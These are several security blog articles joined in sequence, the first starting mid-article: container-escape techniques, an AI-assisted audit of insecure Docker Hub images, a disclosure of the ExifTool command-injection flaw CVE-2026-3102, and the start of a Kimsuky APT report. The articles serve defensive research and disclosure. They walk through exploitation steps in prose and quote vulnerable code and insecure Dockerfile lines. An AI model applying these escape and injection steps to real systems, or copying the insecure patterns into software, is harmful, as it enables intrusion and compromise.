CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.
This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.
Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.
CAP_SYS_MODULE
CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.
From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.
In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.
A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.
Let’s look at a container escape using a kernel module with the following payload example:
Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.
CAP_SYS_PTRACE
The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.
The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.
If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.
CAP_NET_ADMIN
CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.
A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.
Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.
It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.
Exploitation of orchestration APIs
One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.
The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.
One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.
Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.
For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.
The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.
However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.
To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.
Supply chain attacks
Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.
One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.
Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.
Takeaways
Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.
Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.
Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.
Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.
At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.
In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.
Image analysis results in Kaspersky Container Security
To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.
As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.
Software vulnerabilities and compromise of update sources
One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.
To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.
An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.
Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.
In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.
To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.
TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard
It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.
A record number of vulnerabilities in a single image
However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.
Detecting potentially malicious software using one of the images as an example
This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.
Configuration vulnerabilities
Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.
Insecure image configurations detected by KCS based on rules
The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.
Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.
Example of container analysis using KIRA
Insecure handling of credentials
Use of default passwords
In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.
RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd
According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.
Passwords may be present in environment variables. Consider the following Dockerfile snippet:
In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.
For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.
To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.
Passing passwords via command arguments
In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:
In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.
To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.
Privilege escalation in the container
One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.
The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.
Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.
Attacks on sudo
One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:
Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.
In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.
As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.
Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.
The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.
To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.
Insecure file permissions
Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.
Consider the following command:
chmod 0777 /usr/share/cargo /usr/share/cargo/bin
The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.
To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.
Lack of integrity checks
Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.
For example, this risk may arise when downloading a distribution via HTTP:
RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream
Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.
To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.
There will still be a MitM risk even if certificate verification is disabled:
The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.
To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.
Conclusion
Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.
Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.
To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.
This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.
ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.
This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.
Technical details
Disclaimer
Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.
Tracing the vulnerable sink
Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.
Finding an unsanitized date value
The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).
In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.
This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.
The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.
Planning the payload delivery
Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:
To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
To copy or move metadata, the -tagsFromFile feature is used.
To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.
Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.
Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.
When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.
Bypassing the filter
To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.
That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value. The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:
Triggering the exploit
To inject commands, we have to revisit the single quote injection into this datetime related tag.
The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.
The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.
Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.
Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:
Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.
Patch analysis
After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.
1. Replacing string form to argument list form:
#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);
2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.
# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
open(my $oldout, ">&STDOUT");
open(my $olderr, ">&STDERR");
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');
my $result = system(@_);
open(STDOUT, ">&", $oldout);
open(STDERR, ">&", $olderr);
return $result;
}
How to protect against ExifTool vulnerability
It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.
ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.
Conclusions
CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.
Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.
Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.
Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.
This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.
Executive summary
Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.
Background
First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).
The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.
Timeline of the AppleSeed and PebbleDash malware families
